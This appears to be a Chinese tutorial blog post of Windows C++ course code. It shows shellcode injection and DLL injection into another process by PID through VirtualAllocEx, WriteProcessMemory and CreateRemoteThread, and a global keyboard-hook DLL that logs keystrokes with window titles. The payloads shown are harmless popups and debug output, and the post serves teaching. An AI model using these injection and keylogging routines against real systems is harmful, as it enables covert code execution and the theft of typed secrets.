windows注入

// 注入_shellcode注入.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include 

bool injectShellcode( DWORD dwPid , const BYTE* pShellCode , DWORD dwSize ) ;

int _tmain(int argc, _TCHAR* argv[])
{

    BYTE shellcode[] = 
    {   
        "\xE8\x00\x00\x00\x00"  // call $+5
        "\x58"                  // pop  eax
        "\x6A\x00"              // push 0
        "\x83\xC0\x17"          // add eax,0x17
        "\x50"                  // push eax
        "\x83\xC0\x14"          // add eax,0x14
        "\x50"                  // push eax
        "\x6A\x00"              // push 0
        "\xB8\x30\x88\x20\x74"  // mov eax,MessageBoxA
        "\xFF\xD0"              // call eax
        "\xC2\x04\x00"          // ret 0x04
        "来自shellcode的问候\0"
        "大家好,我是shellcode!!!"
    };

    // 将MessageBoxA函数的地址写入到shellcode中.
    *(DWORD*)( shellcode + 19 ) = (DWORD)&MessageBoxA;


    DWORD   dwPid;
    printf( "输入要注入到的进程PID:" );
    scanf_s( "%d[*]" , &dwPid );

    // 注入设计好的shellcode
    injectShellcode( dwPid , shellcode ,sizeof(shellcode));

    return 0;
}

bool injectShellcode( DWORD dwPid , const BYTE* pShellCode , DWORD dwSize ) {

    // shellcode注入的方式和DLL注入的方式差不多.
    // 但是shellcode注入的要求比较高, 需要自己编写shellcode
    // 注入步骤:
    // 1. 在远程进程中开辟内存空间
    // 2. 将shellcode写入到远程进程的内存空间中
    // 3. 创建远程线程,将被写入到远程进程内存shellcode的首地址
    //    作为线程回调函数的地址.
    // 4. 等待线程退出
    // 5. 销毁远程进程内存.

    bool    bRet = false;
    HANDLE  hProcess = 0;
    HANDLE  hRemoteThread = 0;
    LPVOID  pRemoteBuff = NULL;
    DWORD   dwWrite = 0 ;



    // 打开进程
    hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE ,/*创建线程和写内存权限*/
        FALSE ,
        dwPid /*进程ID*/
        );

    if( hProcess == NULL ) {
        printf( "打开进程失败,可能由于本程序的权限太低,请以管理员身份运行再尝试\n" );
        goto _EXIT;
    }


    // 1. 在远程进程上开辟内存空间
    pRemoteBuff = VirtualAllocEx(
        hProcess ,
        NULL ,
        64 * 1024 , /*大小:64Kb*/
        MEM_COMMIT ,/*预定并提交*/
        PAGE_EXECUTE_READWRITE/*可读可写可执行的属性*/
        );
    if( pRemoteBuff == NULL ) {
        printf( "在远程进程上开辟空降失败\n" );
        goto _EXIT;
    }

    // 2. 将DLL路径写入到新开的内存空间中
    WriteProcessMemory(
        hProcess ,
        pRemoteBuff ,             /* 要写入的地址 */
        pShellCode ,              /* 要写入的内容的地址 */
        dwSize ,                  /* 写入的字节数 */
        &dwWrite                  /* 输出:函数实际写入的字节数 */
        );
    if( dwWrite != dwSize ) {
        printf( "写入DLL路径失败\n" );
        goto _EXIT;
    }

    //3. 创建远程线程,
    //   远程线程创建成功后,DLL就会被加载,DLL被加载后DllMain函数
    //   就会被执行,如果想要执行什么代码,就在DllMain中调用即可.
    hRemoteThread = CreateRemoteThread(
        hProcess ,
        0 , 0 ,
        (LPTHREAD_START_ROUTINE)pRemoteBuff ,  /* 线程回调函数 */
        0 ,                                    /* 回调函数参数 */
        0 , 0 );

    // 等待远程线程退出.
    // 退出了才释放远程进程的内存空间.
    WaitForSingleObject( hRemoteThread , -1 );


    bRet = true;


_EXIT:
    // 释放远程进程的内存
    VirtualFreeEx( hProcess , pRemoteBuff , 0 , MEM_RELEASE );
    // 关闭进程句柄
    CloseHandle( hProcess );

    return bRet;


}

==========================

// 注入_远程线程注入.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include 

bool injectDll( DWORD dwPid , const char* pszDllPath );

int _tmain(int argc, _TCHAR* argv[])
{
    DWORD   dwPid;
    char    szDllPath[ MAX_PATH ] = { "E:\\code\\课上代码\\核心编程_内存管理\\Debug\\testDll2.dll"};


    printf( "输入要注入到的进程PID:" );
    scanf_s( "%d[*]" , &dwPid );

    printf( "输入要注入到的DLL:" );
    //scanf_s( "%s" , szDllPath , MAX_PATH );

    injectDll( dwPid , szDllPath );

    return 0;
}


// 
bool injectDll( DWORD dwPid , const char* pszDllPath ) {

    /**
    * 远程注入的目标: 将一个DLL注入到其它进程的地址空间中.
    * 注入方法:
    * 背景知识:
    * 1. windwos中有一个创建远程线程的API. 这个API能够在
    *    目标进程中创建一个线程. 在创建线程时,能够由自己指
    *    定线程的回调函数, 但这个函数的地址必须在目标进程
    *    的地址空间中. 线程被创建起来之后, 这个函数就会被
    *    执行.
    * 2. 当一个DLL被进程加载后, 操作系统会在物理内存中分配
    *    一块空间来保存它, 当这个DLL再次被其它进程加载时,
    *    系统不会再次分配物理内存来保存这个DLL,而是将这个DLL
    *    所在的物理内存映射到新进程的虚拟地址空间中.
    *    因此,系统DLL在每次开机之后,它们的加载地址都是不变的,
    *    所以,所有进程的系统DLL的加载基址都是相同的,因为它们
    *    的加载基址相同,故每一个API的地址都在任何进程中也都是
    *    相同的.
    *    使用CreateRemoteThread函数,在目标进程中创建线程.
    *    CreateRemoteThread需要指定线程回调函数,这个回调
    *    函数只有一个参数, 而LoadLibrary这个系统API刚好也
    *    只有一个参数.而LoadLibrary是一个系统DLL中的函数,
    *    它在所有进程中的地址都是同一个, 正好为我们所用.
    *    这样一来, 当我们创建远程线程,LoadLibrary就会被调
    *    用,现在我们只需要给LoadLibrary函数传一个DLL路径
    *    就成功了. 但这个字符串必须保存在目标进程的地址空间中.
    *    因为,远程线程的回调函数LoadLibrary虽然在任何进程中
    *    的地址都是同一个, 但是执行它的是其它进程,因此,它的
    *    参数中用到的地址也必须是它所在进程的地址.
    * 注入过程:
    * 1. 使用VirtualAllocEx在目标进程中开辟内存空间.
    * 2. 使用WriteProcessMemory将DLL路径写入到目标进程新
    *    开的内存空间中.
    * 3. 创建远程线程, 使用LoadLibrary函数作为线程的回调函数,
    *    使用VirtualAllocEx开辟出的内存空间首地址作为回调函数的参数
    * 4. 等待线程退出.
    * 5. 销毁VirtualAllocEx开辟出来的内存空间
    */

    bool    bRet            = false;
    HANDLE  hProcess        = 0;
    HANDLE  hRemoteThread   = 0;
    LPVOID  pRemoteBuff     = NULL;
    SIZE_T  dwWrite         = 0 ;
    DWORD   dwSize          = 0;



    // 打开进程
    hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION |PROCESS_VM_WRITE ,/*创建线程和写内存权限*/
        FALSE ,
        dwPid /*进程ID*/
        );

    if( hProcess == NULL ) {
        printf( "打开进程失败,可能由于本程序的权限太低,请以管理员身份运行再尝试\n" );
        goto _EXIT;
    }


    // 1. 在远程进程上开辟内存空间
    pRemoteBuff = VirtualAllocEx( hProcess ,
                                  NULL ,
                                  64 * 1024 , /*大小:64Kb*/
                                  MEM_COMMIT ,/*预定并提交*/
                                  PAGE_EXECUTE_READWRITE/*可读可写可执行的属性*/
                                  );
    if( pRemoteBuff == NULL ) {
        printf( "在远程进程上开辟空降失败\n" );
        goto _EXIT;
    }

    // 2. 将DLL路径写入到新开的内存空间中
    dwSize = strlen( pszDllPath ) + 1;
    WriteProcessMemory( hProcess ,
                       pRemoteBuff, /* 要写入的地址 */
                       pszDllPath,  /* 要写入的内容的地址 */
                       dwSize,      /* 写入的字节数 */
                       &dwWrite     /* 输出:函数实际写入的字节数 */
                        );
    if( dwWrite != dwSize ) {
        printf( "写入DLL路径失败\n" );
        goto _EXIT;
    }

    //3. 创建远程线程,
    //   远程线程创建成功后,DLL就会被加载,DLL被加载后DllMain函数
    //   就会被执行,如果想要执行什么代码,就在DllMain中调用即可.
    hRemoteThread = CreateRemoteThread(
        hProcess ,
        0 , 0 ,
        (LPTHREAD_START_ROUTINE)LoadLibraryA ,  /* 线程回调函数 */
        pRemoteBuff ,                           /* 回调函数参数 */
        0 , 0 );

    // 等待远程线程退出.
    // 退出了才释放远程进程的内存空间.
    WaitForSingleObject( hRemoteThread , -1 );


    bRet = true;


_EXIT:
    // 释放远程进程的内存
    VirtualFreeEx( hProcess , pRemoteBuff , 0 , MEM_RELEASE );
    // 关闭进程句柄
    CloseHandle( hProcess );

    return bRet;
}

testDll2

#include 

BOOL APIENTRY DllMain(HMODULE hModule,
                      DWORD  ul_reason_for_call,
                      LPVOID lpReserved
)
{
    MessageBox(0, L"Dll被加载", L"DLL内部的弹窗", 0);
    if(ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        
    }
    return TRUE;
}

===================

// 注入_windwos消息HOOK注入.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "../messageHookDll/messageHookDll.h"
#include 

int _tmain(int argc, _TCHAR* argv[])

{
    cb_installHook  pfnInstallHook = NULL;

    HMODULE hHookDll = LoadLibrary( L"messageHook.dll" );
    if( hHookDll == NULL ) {
        printf( "dll加载失败\n" );
        return 0;
    }

    pfnInstallHook = GetProcAddress( hHookDll , FUNCTION_INSTALLHOOK );
    if( pfnInstallHook == NULL ) {
        printf( "获取dll导出函数失败\n" );
        return 0;
    }

    pfnInstallHook( );

    system( "pause" );
    return 0;
}

messageHookDll.h

#ifdef MESSAGEHOOKDLL_EXPORTS
#define MESSAGEHOOKDLL_API extern"C" __declspec(dllexport)
#else
#define MESSAGEHOOKDLL_API extern"C" __declspec(dllimport)
#endif

#define FUNCTION_INSTALLHOOK    "installHook"
#define FUNCTION_UNINSTALLHOOK  "uninstallHook"

typedef int( __stdcall *cb_installHook )( );
typedef int( __stdcall *cb_uninstallHook )( );



// 安装钩子
MESSAGEHOOKDLL_API int installHook( );

// 卸载钩子
MESSAGEHOOKDLL_API int uninstallHook( ) ;

// messageHookDll.cpp : 定义 DLL 应用程序的导出函数。
//

#include "stdafx.h"
#include "messageHookDll.h"


------------------------------
// messageHookDll.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include 
#include "messageHookDll.h"
#include 
#include 

HHOOK   g_hHook;
HMODULE g_hModule;



LRESULT CALLBACK KeyboardProc( int code , WPARAM wParam , LPARAM lParam ) {

    // 判断是否wParam与lParam都有键盘消息,
    //是的话则执行打印操作
    if( code == HC_ACTION ) {

        // 将256个虚拟键的状态拷贝到指定的缓冲区中,
        //如果成功则继续
        BYTE KeyState[ 256 ] = { 0 };
        if( GetKeyboardState( KeyState ) ) {

            
            // 得到第16–23位,键盘虚拟码
            UINT  keyCode = ( lParam >> 16 ) & 0x00ff;
            WCHAR wKeyCode = 0;
            // 转换成ASCII码
            ToAscii( (UINT)wParam ,keyCode ,KeyState ,(LPWORD)&wKeyCode , 0 );


            // 获取前端窗口
            TCHAR szWndTitle[ 512 ];
            HWND hWnd = GetForegroundWindow( );
            // 获取窗口标题.
            GetWindowText( hWnd , szWndTitle , 512 );


            // 将其打印出来
            WCHAR szInfo[ 516 ] = { 0 };
            swprintf_s( szInfo , _countof( szInfo ) , L">>>>   [%s] : %c <<<<" , szWndTitle , (WCHAR)wKeyCode );

            OutputDebugString( szInfo );
        }
    }

    return CallNextHookEx( g_hHook , code , wParam , lParam );
}
MESSAGEHOOKDLL_API DWORD g_tid = 0;

// 安装钩子
MESSAGEHOOKDLL_API int installHook( ) {

    g_hHook = SetWindowsHookEx(
        WH_KEYBOARD ,               /* 要HOOK的消息类型 */
        KeyboardProc ,              /* 钩子回调 */
        g_hModule ,                 /* 钩子回调函数所在的模块句柄,在这里使用的是本DLL的句柄 */
        g_tid                       /* 要钩住的线程ID,为0时钩住所有线程 */
        );
    return g_hHook != NULL;
}


// 卸载钩子
MESSAGEHOOKDLL_API int uninstallHook( ) {

    return UnhookWindowsHook( WH_KEYBOARD , KeyboardProc ) != 0;
}


BOOL APIENTRY DllMain( HMODULE hModule ,DWORD  ul_reason_for_call ,LPVOID lpReserved) 
{
    switch( ul_reason_for_call ) {
        case DLL_PROCESS_ATTACH:
        case DLL_THREAD_ATTACH:
        {
            g_hModule = hModule;
        }

        break;


        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            // DLL被卸载时卸载钩子
            // uninstallHook( );
            MessageBox( NULL , L"DLL被卸载" , L"提示" , 0 );
            break;
    }
    return TRUE;
}

你可能感兴趣的:(windows注入)